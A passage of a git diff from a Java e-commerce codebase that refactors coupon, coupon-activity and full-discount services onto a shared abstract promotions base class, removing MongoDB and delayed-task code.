b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityItemServiceImpl.java index fc2c7bf8..03eedfa4 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityItemServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityItemServiceImpl.java @@ -31,4 +31,14 @@ public class CouponActivityItemServiceImpl extends ServiceImpl couponIds) { + this.remove(new LambdaQueryWrapper() + .in(CouponActivityItem::getCouponId, couponIds)); + } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java index c46c60f9..d1eaa380 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java @@ -5,8 +5,6 @@ import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.properties.RocketmqCustomProperties; -import cn.lili.common.utils.DateUtil; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.promotion.entity.dos.Coupon; @@ -14,25 +12,13 @@ import cn.lili.modules.promotion.entity.dos.CouponActivity; import cn.lili.modules.promotion.entity.dos.CouponActivityItem; import cn.lili.modules.promotion.entity.dos.MemberCoupon; import cn.lili.modules.promotion.entity.dto.CouponActivityDTO; -import cn.lili.modules.promotion.entity.enums.CouponActivitySendTypeEnum; -import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.*; import cn.lili.modules.promotion.entity.vos.CouponActivityVO; import cn.lili.modules.promotion.mapper.CouponActivityMapper; import cn.lili.modules.promotion.service.CouponActivityItemService; import cn.lili.modules.promotion.service.CouponActivityService; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.MemberCouponService; -import cn.lili.modules.promotion.tools.PromotionTools; -import cn.lili.trigger.enums.DelayTypeEnums; -import cn.lili.trigger.interfaces.TimeTrigger; -import cn.lili.trigger.message.PromotionMessage; -import cn.lili.trigger.model.TimeExecuteConstant; -import cn.lili.trigger.model.TimeTriggerMsg; -import cn.lili.trigger.util.DelayQueueTools; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import groovy.util.logging.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -48,7 +34,7 @@ import java.util.stream.Collectors; */ @Slf4j @Service -public class CouponActivityServiceImpl extends ServiceImpl implements CouponActivityService { +public class CouponActivityServiceImpl extends AbstractPromotionsServiceImpl implements CouponActivityService { @Autowired private CouponService couponService; @@ -58,50 +44,6 @@ public class CouponActivityServiceImpl extends ServiceImpl() - .eq(CouponActivityItem::getActivityId, couponActivityDTO.getId())); - //重新添加优惠券活动关联优惠券 - this.addCouponActivityItems(couponActivityDTO); - return couponActivityDTO; - } @Override public CouponActivityVO getCouponActivityVO(String couponActivityId) { @@ -152,11 +94,86 @@ public class CouponActivityServiceImpl extends ServiceImpl memberCouponList = new LinkedList<>(); @@ -201,38 +218,6 @@ public class CouponActivityServiceImpl extends ServiceImpl nowTime) { - throw new ServiceException(ResultCode.COUPON_ACTIVITY_START_TIME_ERROR); - } - //活动时间需超过当前时间 - PromotionTools.checkPromotionTime(couponActivity.getStartTime().getTime(), couponActivity.getEndTime().getTime()); - //指定会员判定 - if (couponActivity.getActivityScope().equals(CouponActivitySendTypeEnum.DESIGNATED.name()) && couponActivity.getMemberDTOS().isEmpty()) { - throw new ServiceException(ResultCode.COUPON_ACTIVITY_MEMBER_ERROR); - } - //优惠券数量判定 - if (couponActivity.getCouponActivityItems().isEmpty()) { - throw new ServiceException(ResultCode.COUPON_ACTIVITY_ITEM_ERROR); - } else if (couponActivity.getCouponActivityItems().size() > 10) { - throw new ServiceException(ResultCode.COUPON_ACTIVITY_ITEM_MUST_NUM_ERROR); - } else { - for (CouponActivityItem item : couponActivity.getCouponActivityItems()) { - if (item.getNum() == null || item.getNum() <= 0) { - throw new ServiceException(ResultCode.COUPON_ACTIVITY_ITEM_NUM_ERROR); - } - } - } - } - /** * 获取优惠券的范围范围 * 此方法用于精准发券 @@ -243,30 +228,34 @@ public class CouponActivityServiceImpl extends ServiceImpl> getMemberList(CouponActivity couponActivity) { //判断优惠券的发送范围,获取会员列表 if ("ALL".equals(couponActivity.getActivityScope())) { - return memberService.listMaps(new QueryWrapper() - .select("id,nick_name")); + return this.memberService.listFieldsByMemberIds("id,nick_name", null); } else { - List ids = new ArrayList<>(); + List ids = new ArrayList<>(); if (JSONUtil.isJsonArray(couponActivity.getActivityScopeInfo())) { JSONArray array = JSONUtil.parseArray(couponActivity.getActivityScopeInfo()); - ids = array.toList(Map.class).stream().map(i -> i.get("id")).collect(Collectors.toList()); + ids = array.toList(Map.class).stream().map(i -> i.get("id").toString()).collect(Collectors.toList()); } - return memberService.listMaps(new QueryWrapper() - .select("id,nick_name") - .in("id", ids)); + return memberService.listFieldsByMemberIds("id,nick_name", ids); } } /** - * 添加优惠券活动关联优惠券 + * 检查优惠券 * - * @param couponActivityDTO 优惠券活动DTO + * @param couponActivityItems 优惠券列表 */ - private void addCouponActivityItems(CouponActivityDTO couponActivityDTO) { - //创建优惠券活动子列表 - for (CouponActivityItem couponActivityItem : couponActivityDTO.getCouponActivityItems()) { - couponActivityItem.setActivityId(couponActivityDTO.getId()); + private void checkCouponActivityItem(List couponActivityItems) { + //优惠券数量判定 + if (couponActivityItems.isEmpty()) { + throw new ServiceException(ResultCode.COUPON_ACTIVITY_ITEM_ERROR); + } else if (couponActivityItems.size() > 10) { + throw new ServiceException(ResultCode.COUPON_ACTIVITY_ITEM_MUST_NUM_ERROR); + } else { + for (CouponActivityItem item : couponActivityItems) { + if (item.getNum() == null || item.getNum() <= 0) { + throw new ServiceException(ResultCode.COUPON_ACTIVITY_ITEM_NUM_ERROR); + } + } } - couponActivityItemService.saveBatch(couponActivityDTO.getCouponActivityItems()); } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java index 7533bf3b..e97cbe27 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java @@ -1,43 +1,37 @@ package cn.lili.modules.promotion.serviceimpl; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONUtil; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.trigger.enums.DelayTypeEnums; -import cn.lili.trigger.interfaces.TimeTrigger; -import cn.lili.trigger.message.PromotionMessage; -import cn.lili.trigger.model.TimeExecuteConstant; -import cn.lili.trigger.model.TimeTriggerMsg; -import cn.lili.trigger.util.DelayQueueTools; import cn.lili.common.utils.DateUtil; -import cn.lili.mybatis.util.PageUtil; -import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; -import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.service.GoodsSkuService; -import cn.lili.modules.promotion.entity.dos.*; -import cn.lili.modules.promotion.entity.enums.*; +import cn.lili.modules.promotion.entity.dos.Coupon; +import cn.lili.modules.promotion.entity.dos.FullDiscount; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.enums.CouponRangeDayEnum; +import cn.lili.modules.promotion.entity.enums.CouponTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; +import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.mapper.CouponMapper; import cn.lili.modules.promotion.service.*; import cn.lili.modules.promotion.tools.PromotionTools; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import java.util.Date; +import java.util.Collections; import java.util.List; import java.util.stream.Collectors; @@ -49,28 +43,13 @@ import java.util.stream.Collectors; */ @Service @Transactional(rollbackFor = Exception.class) -public class CouponServiceImpl extends ServiceImpl implements CouponService { +public class CouponServiceImpl extends AbstractPromotionsServiceImpl implements CouponService { - /** - * 延时任务 - */ - @Autowired - private TimeTrigger timeTrigger; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; /** * 规格商品 */ @Autowired private GoodsSkuService goodsSkuService; - /** - * Rocketmq - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; /** * 促销商品 */ @@ -92,170 +71,6 @@ public class CouponServiceImpl extends ServiceImpl impleme @Autowired private CouponActivityItemService couponActivityItemService; - @Override - public CouponVO add(CouponVO coupon) { - //检查参数 - this.checkParam(coupon); - coupon.setUsedNum(0); - coupon.setReceivedNum(0); - //保存到MYSQL中 - this.save(coupon); - //如果优惠券类型为部分商品则将促销活动商品更新 - this.updateScopePromotionGoods(coupon); - //保存到MONGO中 - this.mongoTemplate.save(coupon); - //如果优惠券是固定时间则添加延时任务 - if (coupon.getRangeDayType().equals(CouponRangeDayEnum.FIXEDTIME.name())) { - PromotionMessage promotionMessage = new PromotionMessage(coupon.getId(), PromotionTypeEnum.COUPON.name(), PromotionStatusEnum.START.name(), coupon.getStartTime(), coupon.getEndTime()); - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - coupon.getStartTime().getTime(), - promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); - } - - return coupon; - } - - @Override - public CouponVO updateCoupon(CouponVO couponVO) { - CouponVO coupon = checkStatus(couponVO.getId()); - //检查参数 - this.checkParam(couponVO); - //更新到MYSQL中 - this.updateById(couponVO); - //如果优惠券类型为部分商品则将促销活动商品更新 - this.updateScopePromotionGoods(couponVO); - //保存到MONGO中 - this.mongoTemplate.save(couponVO); - PromotionMessage promotionMessage = new PromotionMessage(couponVO.getId(), PromotionTypeEnum.COUPON.name(), PromotionStatusEnum.START.name(), coupon.getStartTime(), coupon.getEndTime()); - //更新延时任务 - this.timeTrigger.edit(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage, - coupon.getStartTime().getTime(), couponVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - DateUtil.getDelayTime(couponVO.getStartTime().getTime()), - rocketmqCustomProperties.getPromotionTopic()); - return couponVO; - } - - @Override - public boolean updateCouponStatus(List couponId, PromotionStatusEnum promotionStatus) { - Query query = new Query(); - query.addCriteria(Criteria.where("id").in(couponId)); - List couponVOS = this.mongoTemplate.find(query, CouponVO.class); - couponVOS = couponVOS.parallelStream().filter(i -> Boolean.FALSE.equals(i.getDeleteFlag())).collect(Collectors.toList()); - if (couponVOS.isEmpty()) { - throw new ServiceException(ResultCode.COUPON_NOT_EXIST); - } - for (CouponVO couponVO : couponVOS) { - if (promotionStatus.name().equals(PromotionStatusEnum.START.name())) { - this.checkParam(couponVO); - } - couponVO.setPromotionStatus(promotionStatus.name()); - this.updateById(couponVO); - this.mongoTemplate.save(couponVO); - PromotionMessage promotionMessage = new PromotionMessage(couponVO.getId(), PromotionTypeEnum.COUPON.name(), promotionStatus.name(), couponVO.getStartTime(), couponVO.getEndTime()); - //更新延时任务 - this.timeTrigger.edit(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage, - couponVO.getStartTime().getTime(), couponVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - DateUtil.getDelayTime(couponVO.getStartTime().getTime()), - rocketmqCustomProperties.getPromotionTopic()); - } - return true; - } - - @Override - public boolean deleteCoupon(String id) { - CouponVO couponVO = checkStatus(id); - - //更新优惠券状态为关闭,标示删除标志 - LambdaUpdateWrapper couponUpdateWrapper = new LambdaUpdateWrapper().eq(Coupon::getId, id) - .set(Coupon::getPromotionStatus, PromotionStatusEnum.CLOSE.name()).set(Coupon::getDeleteFlag, true); - boolean result = this.update(couponUpdateWrapper); - - //更新促销商品记录信息为删除 - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper() - .eq(PromotionGoods::getPromotionId, id) - .set(PromotionGoods::getPromotionStatus, PromotionStatusEnum.CLOSE.name()) - .set(PromotionGoods::getDeleteFlag, true); - this.promotionGoodsService.update(updateWrapper); - - //删除mongo优惠券信息 - LambdaUpdateWrapper memberCouponLambdaUpdateWrapper = new LambdaUpdateWrapper() - .eq(MemberCoupon::getCouponId, id) - .set(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.CLOSED.name()); - memberCouponService.update(memberCouponLambdaUpdateWrapper); - this.mongoTemplate.remove(new Query().addCriteria(Criteria.where("id").is(id)), CouponVO.class); - - //删除优惠券活动关联优惠券 - couponActivityItemService.remove(new LambdaQueryWrapper() - .eq(CouponActivityItem::getCouponId, id)); - - //删除延时任务 - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - couponVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.COUPON.name() + couponVO.getId())), - rocketmqCustomProperties.getPromotionTopic()); - return result; - } - - @Override - public IPage getCouponsByPageFromMongo(CouponSearchParams param, PageVO page) { - Query query = param.mongoQuery(); - IPage coupons = new Page<>(); - if (page != null) { - page.setNotConvert(true); - PromotionTools.mongoQueryPageParam(query, page); - coupons.setSize(page.getPageSize()); - coupons.setCurrent(page.getPageNumber()); - } - List couponVOList = mongoTemplate.find(query, CouponVO.class); - coupons.setRecords(couponVOList); - coupons.setTotal(mongoTemplate.count(query, CouponVO.class)); - return coupons; - } - - /** - * 根据查询条件从mongo中获取优惠券信息列表 - * - * @param param 查询参数 - * @param page 分页参数 - * @return 优惠券信息列表 - */ - @Override - public IPage getCanReceiveCoupons(CouponSearchParams param, PageVO page) { - Query query = param.mongoQuery(); - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.START.name())); - query.addCriteria(Criteria.where("endTime").gte(new Date())); - IPage coupons = new Page<>(); - if (page != null) { - page.setNotConvert(true); - PromotionTools.mongoQueryPageParam(query, page); - coupons.setSize(page.getPageSize()); - coupons.setCurrent(page.getPageNumber()); - } - List couponVOList = mongoTemplate.find(query, CouponVO.class); - coupons.setRecords(couponVOList); - coupons.setTotal(mongoTemplate.count(query, CouponVO.class)); - return coupons; - } - - @Override - public CouponVO getCouponDetailFromMongo(String id) { - return mongoTemplate.findById(id, CouponVO.class); - } - - @Override - public IPage getCouponsByPage(CouponSearchParams param, PageVO page) { - QueryWrapper queryWrapper = param.wrapper(); - return page(PageUtil.initPage(page), queryWrapper); - } - /** * 领取优惠券 * @@ -264,13 +79,22 @@ public class CouponServiceImpl extends ServiceImpl impleme */ @Override public void receiveCoupon(String couponId, Integer receiveNum) { - CouponVO couponVO = this.mongoTemplate.findById(couponId, CouponVO.class); - couponVO.setReceivedNum(couponVO.getReceivedNum() + receiveNum); - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(Coupon::getId, couponId); - updateWrapper.set(Coupon::getReceivedNum, couponVO.getReceivedNum()); - this.update(updateWrapper); - this.mongoTemplate.save(couponVO); + Coupon coupon = this.getById(couponId); + if (coupon == null) { + throw new ServiceException(ResultCode.COUPON_NOT_EXIST); + } + this.update(new LambdaUpdateWrapper().eq(Coupon::getId, coupon.getId()).set(Coupon::getReceivedNum, + coupon.getReceivedNum() + receiveNum)); + } + + @Override + public boolean removePromotions(List ids) { + //删除mongo优惠券信息 + this.memberCouponService.closeMemberCoupon(ids); + + //删除优惠券活动关联优惠券 + this.couponActivityItemService.removeByCouponId(ids); + return super.removePromotions(ids); } /** @@ -281,51 +105,148 @@ public class CouponServiceImpl extends ServiceImpl impleme */ @Override public void usedCoupon(String couponId, Integer usedNum) { - CouponVO couponVO = this.mongoTemplate.findById(couponId, CouponVO.class); - couponVO.setUsedNum(couponVO.getUsedNum() + usedNum); - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(Coupon::getId, couponId); - updateWrapper.set(Coupon::getUsedNum, couponVO.getUsedNum()); - this.update(updateWrapper); - this.mongoTemplate.save(couponVO); + Coupon coupon = this.getById(couponId); + if (coupon == null) { + throw new ServiceException(ResultCode.COUPON_NOT_EXIST); + } + + this.update(new LambdaUpdateWrapper().eq(Coupon::getId, coupon.getId()).set(Coupon::getUsedNum, + coupon.getUsedNum() + usedNum)); } /** - * 检查优惠券信息是否合法 + * 获取优惠券展示实体 * - * @param coupon 优惠券信息 + * @param searchParams 查询参数 + * @param page 分页参数 + * @return 优惠券展示实体列表 */ - private void checkParam(CouponVO coupon) { + @Override + public IPage pageVOFindAll(CouponSearchParams searchParams, PageVO page) { + IPage couponIPage = super.pageFindAll(searchParams, page); + List couponVOList = couponIPage.getRecords().stream().map(CouponVO::new).collect(Collectors.toList()); + return PageUtil.convertPage(couponIPage, couponVOList); + } + /** + * 获取优惠券展示详情 + * + * @param couponId 优惠券id + * @return 返回优惠券展示详情 + */ + @Override + public CouponVO getDetail(String couponId) { + CouponVO couponVO = new CouponVO(this.getById(couponId)); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionId(couponId); + List promotionsByPromotionId = this.promotionGoodsService.listFindAll(searchParams); + if (promotionsByPromotionId != null && !promotionsByPromotionId.isEmpty()) { + couponVO.setPromotionGoodsList(promotionsByPromotionId); + } + return couponVO; + } + + /** + * 更新促销状态 + * 如果要更新促销状态为关闭,startTime和endTime置为空即可 + * + * @param ids 促销id集合 + * @param startTime 开始时间 + * @param endTime 结束时间 + * @return 是否更新成功 + */ + @Override + public boolean updateStatus(List ids, Long startTime, Long endTime) { + List list = this.list(new LambdaQueryWrapper().in(Coupon::getId, ids).eq(Coupon::getRangeDayType, CouponRangeDayEnum.DYNAMICTIME.name())); + if (!list.isEmpty()) { + LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); + updateWrapper.in(Coupon::getId, list.stream().map(Coupon::getId).collect(Collectors.toList())); + updateWrapper.set(Coupon::getEffectiveDays, 0); + this.update(updateWrapper); + } + + return super.updateStatus(ids, startTime, endTime); + } + + @Override + public void initPromotion(Coupon promotions) { + promotions.setUsedNum(0); + promotions.setReceivedNum(0); + } + + @Override + public void checkPromotions(Coupon promotions) { + if (promotions.getRangeDayType() == null) { + super.checkPromotions(promotions); + } //优惠券限制领取数量 - if (coupon.getCouponLimitNum() < 0) { + if (promotions.getCouponLimitNum() < 0) { throw new ServiceException(ResultCode.COUPON_LIMIT_NUM_LESS_THAN_0); } //如果发行数量是0则判断领取限制数量 - if (coupon.getPublishNum() != 0 && coupon.getCouponLimitNum() > coupon.getPublishNum()) { + if (promotions.getPublishNum() != 0 && promotions.getCouponLimitNum() > promotions.getPublishNum()) { throw new ServiceException(ResultCode.COUPON_LIMIT_GREATER_THAN_PUBLISH); } //打折优惠券大于10折 - boolean discountCoupon = (coupon.getCouponType().equals(CouponTypeEnum.DISCOUNT.name()) - && (coupon.getCouponDiscount() < 0 && coupon.getCouponDiscount() > 10)); + boolean discountCoupon = (promotions.getCouponType().equals(CouponTypeEnum.DISCOUNT.name()) + && (promotions.getCouponDiscount() < 0 && promotions.getCouponDiscount() > 10)); if (discountCoupon) { throw new ServiceException(ResultCode.COUPON_DISCOUNT_ERROR); } //优惠券为固定时间类型 - if (coupon.getRangeDayType() != null && coupon.getRangeDayType().equals(CouponRangeDayEnum.FIXEDTIME.name())) { + if (promotions.getRangeDayType() != null && promotions.getRangeDayType().equals(CouponRangeDayEnum.FIXEDTIME.name())) { long nowTime = DateUtil.getDateline() * 1000; //固定时间的优惠券不能小于当前时间 - if (coupon.getEndTime().getTime() < nowTime) { + if (promotions.getEndTime().getTime() < nowTime) { throw new ServiceException(ResultCode.PROMOTION_END_TIME_ERROR); } - //促销通用时间校验 - PromotionTools.checkPromotionTime(coupon.getStartTime().getTime(), coupon.getEndTime().getTime()); } - this.checkCouponScope(coupon); - //对状态的处理.如果未传递状态则需要 根据当前时间来确认优惠券状态 - this.promotionStatusEmpty(coupon); + + this.checkCouponScope((CouponVO) promotions); + } + + @Override + public void checkStatus(Coupon promotions) { + super.checkStatus(promotions); + FullDiscountSearchParams searchParams = new FullDiscountSearchParams(); + searchParams.setIsCoupon(true); + searchParams.setCouponId(promotions.getId()); + List fullDiscounts = fullDiscountService.listFindAll(searchParams); + if (fullDiscounts != null && !fullDiscounts.isEmpty()) { + throw new ServiceException("当前优惠券参与了促销活动【" + fullDiscounts.get(0).getPromotionName() + "】不能进行编辑删除操作"); + } + } + + @Override + public void updatePromotionsGoods(Coupon promotions) { + super.updatePromotionsGoods(promotions); + if (!PromotionsStatusEnum.CLOSE.name().equals(promotions.getPromotionStatus()) && + PromotionsScopeTypeEnum.PORTION_GOODS.name().equals(promotions.getScopeType()) && + promotions instanceof CouponVO) { + CouponVO couponVO = (CouponVO) promotions; + this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); + List promotionGoodsList = PromotionTools.promotionGoodsInit(couponVO.getPromotionGoodsList(), couponVO, this.getPromotionType()); + //促销活动商品更新 + this.promotionGoodsService.saveBatch(promotionGoodsList); + } + } + + /** + * 更新商品索引优惠券信息 + * + * @param promotions 优惠券信息 + */ + @Override + public void updateEsGoodsIndex(Coupon promotions) { + Coupon coupon = JSONUtil.parse(promotions).toBean(Coupon.class); + super.updateEsGoodsIndex(coupon); + } + + @Override + public PromotionTypeEnum getPromotionType() { + return PromotionTypeEnum.COUPON; } /** @@ -334,82 +255,38 @@ public class CouponServiceImpl extends ServiceImpl impleme * @param coupon 检查的优惠券对象 */ private void checkCouponScope(CouponVO coupon) { - boolean portionGoodsScope = (coupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_GOODS.name()) + boolean portionGoodsScope = (coupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS.name()) && (coupon.getPromotionGoodsList() == null || coupon.getPromotionGoodsList().isEmpty())); if (portionGoodsScope) { throw new ServiceException(ResultCode.COUPON_SCOPE_TYPE_GOODS_ERROR); - } else if (coupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_GOODS.name()) && CharSequenceUtil.isEmpty(coupon.getScopeId())) { + } else if (coupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS.name()) && CharSequenceUtil.isEmpty(coupon.getScopeId())) { throw new ServiceException(ResultCode.COUPON_SCOPE_TYPE_GOODS_ERROR); - } else if (coupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_GOODS_CATEGORY.name()) && CharSequenceUtil.isEmpty(coupon.getScopeId())) { + } else if (coupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name()) && CharSequenceUtil.isEmpty(coupon.getScopeId())) { throw new ServiceException(ResultCode.COUPON_SCOPE_TYPE_CATEGORY_ERROR); - } else if (coupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_SHOP_CATEGORY.name()) && CharSequenceUtil.isEmpty(coupon.getScopeId())) { + } else if (coupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_SHOP_CATEGORY.name()) && CharSequenceUtil.isEmpty(coupon.getScopeId())) { throw new ServiceException(ResultCode.COUPON_SCOPE_TYPE_STORE_ERROR); } - if (coupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_GOODS.name())) { - String[] split = coupon.getScopeId().split(","); - if (split.length <= 0) { - throw new ServiceException(ResultCode.COUPON_SCOPE_ERROR); - } - for (String id : split) { - GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(id); - if (goodsSku == null) { - throw new ServiceException(ResultCode.GOODS_NOT_EXIST); - } - } + if (coupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS.name())) { + this.checkCouponPortionGoods(coupon); } } /** - * 对状态的处理.如果未传递状态则需要 根据当前时间来确认优惠券状态 + * 检查指定商品 * - * @param coupon 优惠券参数 + * @param coupon 优惠券信息 */ - private void promotionStatusEmpty(CouponVO coupon) { - if (StringUtils.isEmpty(coupon.getPromotionStatus()) && coupon.getRangeDayType().equals(CouponRangeDayEnum.FIXEDTIME.name())) { - //格式时间 - long startTme = coupon.getStartTime().getTime() / 1000; - long endTime = coupon.getEndTime().getTime() / 1000; - //校验时间确定当前优惠券有效期 - long currentTime = DateUtil.getDateline(); - //如果未到时间点则为新建 - if (startTme > currentTime) { - coupon.setPromotionStatus(PromotionStatusEnum.NEW.name()); - } - //如果超过结束时间则为结束 - if (endTime < currentTime) { - coupon.setPromotionStatus(PromotionStatusEnum.END.name()); - } - //如果在使用时间内 则是开始状态 - if (startTme <= currentTime && endTime > currentTime) { - coupon.setPromotionStatus(PromotionStatusEnum.START.name()); - } + private void checkCouponPortionGoods(CouponVO coupon) { + String[] split = coupon.getScopeId().split(","); + if (split.length <= 0) { + throw new ServiceException(ResultCode.COUPON_SCOPE_ERROR); } - } - - /** - * 检查优惠券状态是否可进行编辑删除 - * - * @param id 优惠券id - * @return 优惠券信息 - */ - private CouponVO checkStatus(String id) { - CouponVO coupon = this.mongoTemplate.findById(id, CouponVO.class); - if (coupon == null) { - throw new ServiceException(ResultCode.COUPON_NOT_EXIST); - } - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper().eq(FullDiscount::getIsCoupon, true).eq(FullDiscount::getCouponId, id); - FullDiscount fullDiscount = fullDiscountService.getOne(queryWrapper); - if (fullDiscount != null) { - throw new ServiceException("当前优惠券参与了促销活动【" + fullDiscount.getPromotionName() + "】不能进行编辑删除操作"); - } - return coupon; - } - - private void updateScopePromotionGoods(CouponVO couponVO) { - //如果优惠券类型为部分商品则将促销活动更新至ES中 - if (CouponScopeTypeEnum.PORTION_GOODS.name().equals(couponVO.getScopeType()) && !couponVO.getPromotionGoodsList().isEmpty()) { - PromotionTools.promotionGoodsInit(couponVO.getPromotionGoodsList(), couponVO, PromotionTypeEnum.COUPON); + for (String id : split) { + GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(id); + if (goodsSku == null) { + throw new ServiceException(ResultCode.GOODS_NOT_EXIST); + } } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java index b3c4af86..82c5aa96 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java @@ -1,40 +1,28 @@ package cn.lili.modules.promotion.serviceimpl; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.properties.RocketmqCustomProperties; -import cn.lili.common.utils.DateUtil; -import cn.lili.common.vo.PageVO; import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.mapper.FullDiscountMapper; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.FullDiscountService; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.tools.PromotionTools; -import cn.lili.mybatis.util.PageUtil; -import cn.lili.trigger.enums.DelayTypeEnums; -import cn.lili.trigger.interfaces.TimeTrigger; -import cn.lili.trigger.message.PromotionMessage; -import cn.lili.trigger.model.TimeExecuteConstant; -import cn.lili.trigger.model.TimeTriggerMsg; -import cn.lili.trigger.util.DelayQueueTools; import 